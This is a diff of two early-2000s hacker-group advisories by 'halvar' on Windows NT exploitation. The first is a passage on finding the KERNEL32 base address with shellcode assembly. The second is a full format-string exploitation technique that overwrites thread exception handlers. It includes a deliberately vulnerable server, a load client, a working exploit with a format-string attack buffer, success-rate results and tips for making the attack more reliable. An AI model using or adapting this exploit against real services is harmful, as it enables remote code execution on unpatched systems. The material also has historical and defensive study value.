| 36 | The structure of these exception handlers is basically a single-linked list | ||
| 37 | of pointers to functions handling exceptions. | ||
| 38 | |||
| 39 | In memory they consist of two dwords: | ||
| 40 | |||
| 41 | [pointer to next handler structure][pointer to handler code] | ||
| 42 | |||
| 43 | Every function can establish a new exception handler and layer it on top of | ||
| 44 | all the others, so if an exception occurs and is not handled by the most re- | ||
| 45 | cently installed handler then the next handler will be called until the | ||
| 46 | application runs out of self-installed handlers and the default exception | ||
| 47 | handler in KERNEL32.DLL is called ("Blablah.exe caused an exception at..."). | ||
| 48 | The default exception handler structure is the end of the chain, and the | ||
| 49 | pointer to the next handler structure is 0xFFFFFFFF in this case. | ||
| 50 | |||
| 51 | The beginning of the chain (the most recently installed exception handler | ||
| 52 | structure) is referenced to by a pointer at fs:0. | ||
| 53 | |||
| 54 | So the trick in finding the base address of KERNEL32.DLL is to parse through | ||
| 55 | the exception handler structures until the end of the chain is reached; The | ||
| 56 | pointer to the handler code will then point into KERNEL32.DLL. As soon as | ||
| 57 | we have this address, we scan all page-beginnings backwards (all DLLs are | ||
| 58 | mapped page-aligned) for a "MZ" signature. | ||
| 59 | |||
| 60 | Some example assembly code for this (this is not size optimized, just for | ||
| 61 | educational purposes): | ||
| 62 | |||
| 63 | xor ecx, ecx ; this avoids NULL bytes in the shell | ||
| 64 | mov eax, [fs:ecx] | ||
| 65 | .tunnel: | ||
| 66 | mov ecx, [eax] ; Get pointer to next structure | ||
| 67 | cmp ecx, -1 ; Have we reached the end of the chain ? | ||
| 68 | jz .skip1 ; Yes, then jump to .skip1 | ||
| 69 | mov eax, ecx ; No ? Then walk the chain further | ||
| 70 | jmp .tunnel | ||
| 71 | .skip1: | ||
| 72 | mov eax, [eax+4] ; Now we have an address inside KERNEL32 | ||
| 73 | xor ax, ax ; Kill low 16 bits and thus page-align | ||
| 74 | xor ecx, ecx ; Move size of a page in ecx (0x1000) | ||
| 75 | mov ch, 0x10 ; without NULL bytes | ||
| 76 | .tunnel2: | ||
| 77 | mov dx, word [eax] ; load first 2 bytes | ||
| 78 | cmp dx, "MZ" ; compare to our signature | ||
| 79 | jz .skip2 | ||
| 80 | sub eax, ecx ; scan one page more backwards in mem | ||
| 81 | jmp .tunnel2 | ||
| 82 | .skip2: | ||
| 83 | |||
| 84 | This is a lot more size-efficient than the other methods I've seen to | ||
| 85 | find the KERNEL32.DLL base address reliably (relying on hardcoded | ||
| 86 | 0x00400000 base address for the executable, then parsing its PE header | ||
| 87 | to find a function imported from KERNEL32.DLL to get an address within | ||
| 88 | it). | ||
| 89 | |||
| 90 | One note of caution with this, though: It seems that the installation | ||
| 91 | of Microsoft Kernel Debugging stuff and Visual Studio will screw the | ||
| 92 | entire NT exception handling in a way that the final exception handler | ||
| 93 | points into NTDLL.DLL instead of KERNEL32.DLL. So if you're attacking | ||
| 94 | a system of which you know it is a development workstation with Visual | ||
| 95 | Studio installed you might want to try parsing the PE header in the | ||
| 96 | end :-) | ||
| 97 | |||
| 98 | Have fun, | ||
| 99 | Halvar | ||
| 100 | |||
| 101 | =============================================================================== | ||
| 102 | |||
diff --git a/informationals/teso-i0034.txt b/informationals/teso-i0034.txt new file mode 100644 index 0000000..686312c --- /dev/null +++ b/informationals/teso-i0034.txt | |||
| @@ -0,0 +1,491 @@ | |||
| 1 | 0034 2001/02/25 advanced way to more reliably exploit NT format bugs remotely | ||
| 2 | ==== TESO Informational ======================================================= | ||
| 3 | This piece of information is to be kept confidential. | ||
| 4 | =============================================================================== | ||
| 5 | |||
| 6 | Description ..........: way of getting control with format string bugs | ||
| 7 | Date .................: 2000/12/28 06:00 | ||
| 8 | Author ...............: halvar | ||
| 9 | Publicity level ......: unknown | ||
| 10 | Affected .............: NT/Win32 specific | ||
| 11 | Type of entity .......: NT internals | ||
| 12 | Type of discovery ....: useful information | ||
| 13 | Severity/Importance ..: n/a | ||
| 14 | Found by .............: halvar | ||
| 15 | |||
| 16 | =============================================================================== | ||
| 17 | |||
| 18 | We all know and love format string bugs. Especially on closed-source platforms, | ||
| 19 | then can still be found in large numbers. Unfortunately, the really interesting | ||
| 20 | affected programs under NT run multi-threaded, making it relatively hard to | ||
| 21 | reliably get execution under our control as we cannot overwrite addresses on | ||
| 22 | the stack. Under Win2k, a watchdog will restart the service once it dies, so | ||
| 23 | if we are first to connect to it after the restart we can reliably guess what | ||
| 24 | to overwrite. Under NT, no watchdog is around, so you have only one shot to | ||
| 25 | get control. | ||
| 26 | |||
| 27 | Now, the other choice that we have is an import table overwrite, which will not | ||
| 28 | always work either as apparently many compilers set the import address table | ||
| 29 | inside the code section, making it a read-only page once it has been filled by | ||
| 30 | the OS. Writing to it will result in a GPF. | ||
| 31 | |||
| 32 | This informational will play around with a new cool way of getting control of | ||
| 33 | our thread by a yet-unknown technique called "TIB Exception Structure | ||
| 34 | Overwrite" (TESO) :-P. | ||
| 35 | |||
| 36 | In my last informational (0033) I described a way to walk from the pointer at | ||
| 37 | fs:[0] through the exception structures until I have found a function inside | ||
| 38 | KERNEL32.DLL. This time, I will play with structured exception handling again, | ||
| 39 | so it is a good idea to have absorbed some information from the last informat- | ||
| 40 | ional. | ||
| 41 | |||
| 42 | Every thread that is created has a structure called "Thread Information Block" | ||
| 43 | (TIB) mapped at fs:[0]. (Some people call it "Thread Exception Block", and the | ||
| 44 | Wine project has a pretty good/slightly errant documentation of it in thread.h) | ||
| 45 | The first DWORD of this structure is a pointer to an __EXCEPTION_FRAME | ||
| 46 | structure, which consists of two pointers: One to the next | ||
| 47 | __EXCEPTION_FRAME, and one to the function that is supposed to | ||
| 48 | handle any exception that occurs. Now, the trick is to create a fake exception | ||
| 49 | handling structure in memory and then to overwrite as many TIB entries as we | ||
| 50 | can until we trigger an exception. When that exception is triggered, our fake | ||
| 51 | exception handling structure will lead to control being transferred to the | ||
| 52 | code we pointed to in our structure. | ||
| 53 | |||
| 54 | What we have to do in our format string is: | ||
| 55 | |||
| 56 | 1. Create a fake exception handling structure somewhere in memory. This | ||
| 57 | means we either have to know an address at which a pointer to a buffer we | ||
| 58 | control lies or we have to write a pointer to a buffer we control into | ||
| 59 | memory at some point. | ||
| 60 | |||
| 61 | 2. Start overwriting TIB's, starting with the first thread, then the second | ||
| 62 | etc. until there are no more threads and our attempts to write to a nonpaged | ||
| 63 | section of memory will lead to an exception. | ||
| 64 | |||
| 65 | 3. The exception will transfer control to our exceptionhandler (the buffer | ||
| 66 | we control) in which we can then execute code. | ||
| 67 | |||
| 68 | Problem Nr 1: We cannot write to any location outside of our current data | ||
| 69 | segment, how the hell are we going to write to fs:[0] ? | ||
| 70 | |||
| 71 | Answer: The TIB is mapped into the data/code segment as well, at an address | ||
| 72 | pointed to by fs:[0x18]. I ran a few tests on a few systems from NT4 SP5 up | ||
| 73 | to Win2k SP1 and one could foresee certain regularities between all these | ||
| 74 | systems that allow us to reliably tell where the TIB of a certain thread | ||
| 75 | will be in regular memory. | ||
| 76 | The regularity in TIB allocation follows here: | ||
| 77 | The first thread of an application always has his TIB mapped at 0x7FFDE000, | ||
| 78 | and up until the 11th thread (which lies at 0x7FFD4000) we have single page | ||
| 79 | decrements from the initial value (-0x1000). Then we have a rather odd gap, | ||
| 80 | and the 12th threads TIB will be located at 0x7FFAF000. All subsequent | ||
| 81 | threads will have their TIB allocated sequentally with (-0x1000) difference | ||
| 82 | from here on, up until thread 250 where I stopped testing :-) | ||
| 83 | |||
| 84 | Problem Nr 2: We cannot easily write to addresses containing NULL bytes, | ||
| 85 | and we cannot assure that the location (TIB)-1 will be paged. | ||
| 86 | What can we do here ? | ||
| 87 | |||
| 88 | Answer: Not much. This is one of the major drawbacks of this approach. | ||
| 89 | The problem lies in a form of memory fragmentation that occurs like this: | ||
| 90 | Several threads are created, and their TIBs are paged into the CS/DS acc- | ||
| 91 | ording to the rules outlined before. Now, some of these threads will exit | ||
| 92 | again and their respective TIB-pages will be freed; this can lead to | ||
| 93 | a memory layout somewhat like this: | ||
| 94 | |||
| 95 | [0x7FFDE000 -- paged] | ||
| 96 | [0x7FFDD000 -- nonpaged] | ||
| 97 | [0x7FFDC000 -- nonpaged] | ||
| 98 | [0x7FFDB000 -- paged] | ||
| 99 | [0x7FFDA000 -- paged] | ||
| 100 | [0x7FFD9000 ... nonpaged from here on] | ||
| 101 | |||
| 102 | Now we can see that we get into trouble as we will trigger an exception | ||
| 103 | after having overwritten the first exception handler, without touching | ||
| 104 | the other two handlers we would need to overwrite. | ||
| 105 | |||
| 106 | Now the trick is that as soon as new threads are created, their TIBs are | ||
| 107 | paged into these gaps. So what we can do is to create our thread that | ||
| 108 | will execute the format string bug, and then, before we actually execute | ||
| 109 | the vulnerable code, create a lot of arbitrary threads, hopefully enough | ||
| 110 | to fill all gaps. We can then sequentally overwrite the exception handlers | ||
| 111 | and trigger an exception to gain control. | ||
| 112 | |||
| 113 | Problem Nr 3: | ||
| 114 | While experimenting with exceptionhandlers for a while I found out that | ||
| 115 | apparently NT wants the pointer at fs:[0] to point somewhere between the | ||
| 116 | "stack bottom" and the "stack top" of the offending thread. | ||
| 117 | (For those interested, that validation happens in a function called | ||
| 118 | RtlDispatchException() which is a called by KiUserExceptionDispatcher) | ||
| 119 | If the pointer points elsewhere the user-installed exception handler will | ||
| 120 | not be called; an exception called EXCEPTION_INVALID_DISPOSITION will be | ||
| 121 | raised instead. | ||
| 122 | |||
| 123 | Answer: | ||
| 124 | Since we clearly cannot write an EXCEPTION_FRAME for each thread into its | ||
| 125 | stack region we need a different solution. Looking at thread.h from the | ||
| 126 | WINE project, we can see that the stack_top and stack_low variables are | ||
| 127 | stored at fs:[4] and fs:[8] respectively. Now this implies that we can | ||
| 128 | easily alter the range in which our EXCEPTION_FRAME can be created. So | ||
| 129 | what we'll need to do in addition to overwriting the pointer at fs:[0] is | ||
| 130 | to overwrite the stack_top variables high-order byte with 0x7F, thus mak- | ||
| 131 | ing sure that we pass the tests inside RtlDispatchException and praying | ||
| 132 | that we don't fuck anything up so badly that it'll crash NT :) | ||
| 133 | The EXCEPTION_FRAME has to be created somewhere above stack_low in memory | ||
| 134 | then. For my example, I will construct it inside MSVCRT.DLL's data segment. | ||
| 135 | |||
| 136 | Here follows the code (I compiled stuff with BC++; I am not sure how stuff | ||
| 137 | looks when a different compiler works his magic, so you'll probably need | ||
| 138 | some tweaking.): | ||
| 139 | |||
| 140 | ---- snip ---- lameserver.c ------- | ||
| 141 | #include <stdio.h> | ||
| 142 | #include <stdlib.h> | ||
| 143 | #include <windows.h> | ||
| 144 | #include <winsock.h> | ||
| 145 | |||
| 146 | unsigned long __stdcall NewThread(void *singlearg) | ||
| 147 | { | ||
| 148 | int sock, blah; | ||
| 149 | char lame2[5000],lame[3000]; | ||
| 150 | |||
| 151 | sock = (int)singlearg; | ||
| 152 | blah = recv(sock, lame, sizeof(lame)-1, 0); | ||
| 153 | if(blah != -1) | ||
| 154 | { | ||
| 155 | lame[blah] = 0; // NULL-terminate | ||
| 156 | sprintf(lame2, lame); | ||
| 157 | printf("%s\n", lame2); | ||
| 158 | } | ||
| 159 | |||
| 160 | send(sock, lame2, strlen(lame2), 0); | ||
| 161 | Sleep(500); | ||
| 162 | closesocket(sock); | ||
| 163 | ExitThread(1); | ||
| 164 | } | ||
| 165 | |||
| 166 | int main(int argc, char **argv) | ||
| 167 | { | ||
| 168 | WSADATA WSAdat; | ||
| 169 | struct sockaddr_in Host; | ||
| 170 | int idThread; | ||
| 171 | SOCKET sock1; | ||
| 172 | |||
| 173 | WSAStartup(0x101, &WSAdat); // Startup the sockets interface | ||
| 174 | Host.sin_family = AF_INET; | ||
| 175 | Host.sin_addr.s_addr = 0; | ||
| 176 | Host.sin_port = htons(999); | ||
| 177 | sock1 = socket(AF_INET, SOCK_STREAM, 0); | ||
| 178 | bind(sock1, (struct sockaddr *)&Host, sizeof(struct sockaddr_in)); | ||
| 179 | while(1) | ||
| 180 | { | ||
| 181 | listen(sock1, 0x3); | ||
| 182 | printf("Waiting for connection\n"); | ||
| 183 | CreateThread(NULL, 0, &NewThread, (void *)accept(sock1, NULL, NULL), 0, &idThread); | ||
| 184 | } | ||
| 185 | } | ||
| 186 | ----- snip ---- lameserver.c EOF | ||
| 187 | |||
| 188 | The server will wait for an incoming connection and spawn a new thread. For each | ||
| 189 | connection the thread will read a string from the network, feed it into sprintf() | ||
| 190 | to create something format-string-buggish and then echo it back to the client. It | ||
| 191 | will then disconnect and kill the thread it just created. | ||
| 192 | |||
| 193 | ----- snip ---- lameclient.c -------- | ||
| 194 | #include <stdio.h> | ||
| 195 | #include <stdlib.h> | ||
| 196 | #include <windows.h> | ||
| 197 | #include <winsock.h> | ||
| 198 | |||
| 199 | #define MAX_THREAD_NORMAL 20 | ||
| 200 | #define MAX_THREAD_LINGER 10 | ||
| 201 | |||
| 202 | int ThreadCount = MAX_THREAD_NORMAL; | ||
| 203 | int ThreadLinger = MAX_THREAD_LINGER; | ||
| 204 | |||
| 205 | void NewThread(void *singlearg) | ||
| 206 | { | ||
| 207 | int sock, iLinger; | ||
| 208 | struct sockaddr_in Host; | ||
| 209 | unsigned long rndval; | ||
| 210 | |||
| 211 | iLinger = 0; // zero the var | ||
| 212 | |||
| 213 | if((GetTickCount() & 0xF) > 13) // set a certain frequency for lingering | ||
| 214 | { // connections | ||
| 215 | Sleep(0); | ||
| 216 | if(ThreadLinger > 0) | ||
| 217 | { | ||
| 218 | ThreadLinger--; | ||
| 219 | rndval = 0xFFFF; | ||
| 220 | iLinger = 1; // set iLinger to TRUE | ||
| 221 | } | ||
| 222 | } | ||
| 223 | |||
| 224 | if(iLinger == 0) | ||
| 225 | { | ||
| 226 | Sleep(0); | ||
| 227 | rndval = GetTickCount() & 0xFF; | ||
| 228 | Sleep(0); | ||
| 229 | rndval *= (GetTickCount() & 0x7F); | ||
| 230 | } | ||
| 231 | printf("[%lx] Connecting with a wait time of %ld ms -- ThreadCount is %ld \n", singlearg, rndval, MAX_THREAD_NORMAL-ThreadCount-1); | ||
| 232 | |||
| 233 | sock = socket(AF_INET, SOCK_STREAM, 0); | ||
| 234 | Host.sin_family = AF_INET; | ||
| 235 | Host.sin_addr.s_addr = 0x0100007F; // 127.0.0.1 | ||
| 236 | Host.sin_port = htons(999); | ||
| 237 | |||
| 238 | connect(sock, (struct sockaddr *)&Host, sizeof(Host)); | ||
| 239 | Sleep(rndval); | ||
| 240 | printf("[%lx] Exiting...\n", singlearg); | ||
| 241 | closesocket(sock); | ||
| 242 | ThreadCount++; | ||
| 243 | if(iLinger) | ||
| 244 | ThreadLinger++; | ||
| 245 | |||
| 246 | ExitThread(0); | ||
| 247 | } | ||
| 248 | |||
| 249 | int main(int argc, char **argv) | ||
| 250 | { | ||
| 251 | WSADATA wsaDat; | ||
| 252 | int idThread; | ||
| 253 | |||
| 254 | idThread = 0; | ||
| 255 | |||
| 256 | WSAStartup(0x101, &wsaDat); | ||
| 257 | while(1) | ||
| 258 | { | ||
| 259 | if(ThreadCount > 0) | ||
| 260 | { | ||
| 261 | ThreadCount--; | ||
| 262 | Sleep(GetTickCount() & 0x3FF); | ||
| 263 | CreateThread(NULL, 0, &NewThread, (void *)idThread, 0, &idThread); | ||
| 264 | } | ||
| 265 | else | ||
| 266 | Sleep(GetTickCount() & 0x3FFF); | ||
| 267 | } | ||
| 268 | } | ||
| 269 | ----- snip ---- lameclient.c EOF | ||
| 270 | |||
| 271 | This lame piece of crap multithreaded client will create a bunch of threads | ||
| 272 | which will connect to our lame server, keep a connection open for a certain | ||
| 273 | random time and then close the connection again. A few lingering connections | ||
| 274 | are around that take a bit longer to finish. As soon as the maximum number | ||
| 275 | of threads is reached, the client will pause for a while, letting a bunch of | ||
| 276 | threads die again. This is pretty good to simulate the fragmentation in | ||
| 277 | memory in case the connection count on the server is receding. | ||
| 278 | An example of fragmented memory just after the connection count dropped from | ||
| 279 | 29 to 17 is here: | ||
| 280 | |||
| 281 | 001B:7FFDE000 0012FD50 00130000 0012E000 00000000 P............... | ||
| 282 | 001B:7FFDD000 0538FFDC 05390000 0538F000 00000000 ..8...9...8..... | ||
| 283 | 001B:7FFDC000 00E8FBF8 00E90000 00E8F000 00000000 ................ | ||
| 284 | 001B:7FFDB000 00F8FBF8 00F90000 00F8F000 00000000 ................ | ||
| 285 | 001B:7FFDA000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 286 | 001B:7FFD9000 0168FBF8 01690000 0168F000 00000000 ..h...i...h..... | ||
| 287 | 001B:7FFD8000 0178FBF8 01790000 0178F000 00000000 ..x...y...x..... | ||
| 288 | 001B:7FFD7000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 289 | 001B:7FFD6000 04C8FBF8 04C90000 04C8F000 00000000 ................ | ||
| 290 | 001B:7FFD5000 0398FBF8 03990000 0398F000 00000000 ................ | ||
| 291 | 001B:7FFD4000 0438FBF8 04390000 0438F000 00000000 ..8...9...8..... | ||
| 292 | 001B:7FFAF000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 293 | 001B:7FFAE000 0208FBF8 02090000 0208F000 00000000 ................ | ||
| 294 | 001B:7FFAD000 0218FBF8 02190000 0218F000 00000000 ................ | ||
| 295 | 001B:7FFAC000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 296 | 001B:7FFAB000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 297 | 001B:7FFAA000 0308FBF8 03090000 0308F000 00000000 ................ | ||
| 298 | 001B:7FFA9000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 299 | 001B:7FFA8000 0318FBF8 03190000 0318F000 00000000 ................ | ||
| 300 | 001B:7FFA7000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 301 | 001B:7FFA6000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 302 | 001B:7FFA5000 04D8FBF8 04D90000 04D8F000 00000000 ................ | ||
| 303 | 001B:7FFA4000 ???????? ???????? ???????? ???????? fragmented :-) | ||
| 304 | 001B:7FFA3000 04A8FBF8 04A90000 04A8F000 00000000 ................ | ||
| 305 | 001B:7FFA2000 0528FBF8 05290000 0528F000 00000000 ................ | ||
| 306 | 001B:7FFA1000 04B8FBF8 04B90000 04B8F000 00000000 ................ | ||
| 307 | |||
| 308 | Now, what our exploit needs to do is: | ||
| 309 | |||
| 310 | 1. Connect to the server to create a thread that will later send the | ||
| 311 | format string. | ||
| 312 | 2. Connect to the server with a bunch of more threads to fill in as many | ||
| 313 | gaps as possible to "defragment" the memory. | ||
| 314 | 3. The first created thread will now start to write to the exception | ||
| 315 | handlers and then trigger an exception. In order to pass the checks inside | ||
| 316 | KiUserExceptionDispatcher() we have to overwrite the highest-order byte | ||
| 317 | of the stack_top variable located at fs:7 as well. | ||
| 318 | |||
| 319 | The code for this follows right here :) | ||
| 320 | |||
| 321 | ---- snip --- sploit.c | ||
| 322 | #include <stdio.h> | ||
| 323 | #include <stdlib.h> | ||
| 324 | #include <windows.h> | ||
| 325 | #include <winsock.h> | ||
| 326 | |||
| 327 | /* | ||
| 328 | What we want to do with the format string is this: | ||
| 329 | Write 0x78038010 to location 0x78038004; then write an INT3 to 0x78038010, | ||
| 330 | then write 0x78038000 to the exception handlers until we hit an exception... | ||
| 331 | */ | ||
| 332 | |||
| 333 | |||
| 334 | unsigned char szAttackBuffer[] = { | ||
| 335 | "\x04\x80\x03\x78%12c%n " // Create ptr to our code | ||
| 336 | "\x05\x80\x03\x78%c%105c%n " | ||
| 337 | "\x06\x80\x03\x78%.f%123c%n " | ||
| 338 | "\x07\x80\x03\x78%.f%65c%n " | ||
| 339 | |||
| 340 | "\x10\x80\x03\x78%.f%76c%n%51c%.f" // Create a single 0xCC as "payload" | ||
| 341 | |||
| 342 | //--- First Thread | ||
| 343 | "\x07\xE0\xFD\x7F%123c%n%c%c " // set the stack top to 0x7F120000 ;> | ||
| 344 | "\x01\xE0\xFD\x7F%250c%n " // write 0x80 to byte 2 of xcpt frame * | ||
| 345 | "\x02\xE0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 of xcpt frame * | ||
| 346 | "\x03\xE0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 347 | "\xFD\xDF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 348 | //--- Second Thread | ||
| 349 | "\x07\xD0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 350 | "\x01\xD0\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 351 | "\x02\xD0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 352 | "\x03\xD0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 353 | "\xFD\xCF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 354 | //--- Third Thread | ||
| 355 | "\x07\xC0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 356 | "\x01\xC0\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 357 | "\x02\xC0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 358 | "\x03\xC0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 359 | "\xFD\xBF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 360 | //--- Fourth Thread | ||
| 361 | "\x07\xB0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 362 | "\x01\xB0\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 363 | "\x02\xB0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 364 | "\x03\xB0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 365 | "\xFD\xAF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 366 | //--- Fifth Thread | ||
| 367 | "\x07\xA0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 368 | "\x01\xA0\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 369 | "\x02\xA0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 370 | "\x03\xA0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 371 | "\xFD\x9F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 372 | //--- Sixth Thread | ||
| 373 | "\x07\x90\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 374 | "\x01\x90\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 375 | "\x02\x90\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 376 | "\x03\x90\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 377 | "\xFD\x8F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 378 | //--- Seventh Thread | ||
| 379 | "\x07\x80\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 380 | "\x01\x80\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 381 | "\x02\x80\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 382 | "\x03\x80\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 383 | "\xFD\x7F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 384 | //--- Eight Thread | ||
| 385 | "\x07\x70\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 386 | "\x01\x70\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 387 | "\x02\x70\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 388 | "\x03\x70\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 389 | "\xFD\x6F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 390 | //--- Ninth Thread | ||
| 391 | "\x07\x60\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 392 | "\x01\x60\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 393 | "\x02\x60\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 394 | "\x03\x60\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 395 | "\xFD\x5F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 396 | //--- Tenth Thread | ||
| 397 | "\x07\x50\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 398 | "\x01\x50\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 399 | "\x02\x50\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 400 | "\x03\x50\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 401 | "\xFD\x4F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00 | ||
| 402 | //--- Eleventh Thread | ||
| 403 | "\x07\x40\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :) | ||
| 404 | "\x01\x40\xFD\x7F%250c%n " // write 0x80 to byte 2 | ||
| 405 | "\x02\x40\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 | ||
| 406 | "\x03\x40\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4 | ||
| 407 | "\xFD\x3F\xFD\x7F%c%n%n" // write 0x00 to byte 1 and trigger xception | ||
| 408 | }; | ||
| 409 | |||
| 410 | int main(int argc, char **argv) | ||
| 411 | { | ||
| 412 | WSADATA wsaDat; | ||
| 413 | struct sockaddr_in Host; | ||
| 414 | int sock, socks[10], i; | ||
| 415 | |||
| 416 | WSAStartup(0x101, &wsaDat); | ||
| 417 | |||
| 418 | Host.sin_family = AF_INET; | ||
| 419 | Host.sin_addr.s_addr = 0x0100007F; | ||
| 420 | Host.sin_port = htons(999); | ||
| 421 | |||
| 422 | sock = socket(AF_INET, SOCK_STREAM, 0); | ||
| 423 | connect(sock, (struct sockaddr *)&Host, sizeof(Host)); // create attack | ||
| 424 | // thread | ||
| 425 | for(i = 1; i < 11; i++) | ||
| 426 | { | ||
| 427 | socks[i] = socket(AF_INET,SOCK_STREAM, 0); | ||
| 428 | connect(socks[i], (struct sockaddr *)&Host, sizeof(Host)); | ||
| 429 | } | ||
| 430 | Sleep(50); | ||
| 431 | send(sock, szAttackBuffer, strlen(szAttackBuffer), 0); | ||
| 432 | } | ||
| 433 | ----- snip --- sploit.c EOF | ||
| 434 | |||
| 435 | Now, we run into a few small limitations of our compilers snprintf()-function, | ||
| 436 | apparently the runtime of BC++ will not allow us to have too long output, so | ||
| 437 | we cannot overwrite more than 10 exception handlers in the current setup. | ||
| 438 | (This number can be optimized by choosing better addresses for the EXCEPTION_ | ||
| 439 | FRAME structure and by optimizing the writing process where possible). | ||
| 440 | Therefore, under really heavy load (dozens of threads active at one time) | ||
| 441 | one might want to create multiple threads which overwrite different subsets | ||
| 442 | of the TIBs a time. This is up to the attackers creativity, I am not going | ||
| 443 | to play through every possible situation here. | ||
| 444 | |||
| 445 | Testrun: The above examples were used for 11 trial runs (don't ask why). | ||
| 446 | (Remember, 10 of the threads in the process are _our_ threads, so de-facto | ||
| 447 | load of the server without our intervention is the value in brackets) | ||
| 448 | |||
| 449 | Try No #1 Threads in Process Address of thread TIB Status ? | ||
| 450 | 1 19(9) 0x7FFDD000 SUCCESS | ||
| 451 | 2 21(11) 0x7FFDC000 SUCCESS | ||
| 452 | 3 28(18) 0x7FFDD000 SUCCESS | ||
| 453 | 4 27(17) 0x7FFD5000 SUCCESS | ||
| 454 | 5 18(8) 0x7FFDD000 SUCCESS | ||
| 455 | 6 29(19) 0x7FFA6000 FAILURE | ||
| 456 | 7 24(14) 0x7FFDB000 SUCCESS | ||
| 457 | 8 27(17) 0x7FFD6000 SUCCESS | ||
| 458 | 9 31(21) 0x7FFA7000 FAILURE | ||
| 459 | 10 30(20) 0x7FFA6000 FAILURE | ||
| 460 | 11 25(15) 0x7FFD6000 SUCCESS | ||
| 461 | |||
| 462 | Now, for a server with a load between 8-21 threads (as the example program | ||
| 463 | lameserver.c and lameclient.c create) the example exploit will yield decent | ||
| 464 | results with an exploitation reliability of about 72%. (Yes I know I need | ||
| 465 | more test results to make reliable assumptions about reliability ! :) | ||
| 466 | |||
| 467 | The fun part is that | ||
| 468 | this will work against any SP of NT/2k known to me and will even work if the | ||
| 469 | binaries in memory are different from those expected in the exploit (assuming | ||
| 470 | the writable area where we create the EXCEPTION_FRAME stays writable). | ||
| 471 | In fact you have to know very little in order to have a pretty decent proba- | ||
| 472 | bility of succeeding. But keep in mind its only a propability, and this is | ||
| 473 | not the nice 80's style single-thread process-only exploitation most people | ||
| 474 | are used to. | ||
| 475 | |||
| 476 | Possible ways to improve the probability for success (up to the reader to | ||
| 477 | actually try out :) | ||
| 478 | 1. Try to use multiple threads to overwrite a larger number of EXCEPTION_FRAME | ||
| 479 | pointers and keeping the thread alive afterwards. | ||
| 480 | 2. The worse the memory is fragmented, the better our chances to get our main | ||
| 481 | exploiting thread to be among the first 10 in memory. So creating memory frag- | ||
| 482 | mentation works for us -- try creating a heavy server load with 30-40 threads, | ||
| 483 | then let them all die quickly. Connect immediately afterwards with the main | ||
| 484 | exploiting thread. | ||
| 485 | |||
| 486 | Ok, Tuesday night, 3 o'clock in the morning. Time for bed. Stay tooned for my | ||
| 487 | next informational presenting yet another leeto Win32 fmt bug exploitation | ||
| 488 | technique: UEFA (Unhandled Exception Filter Attack) :) | ||
| 489 | |||
| 490 | =============================================================================== | ||
| 491 | |||
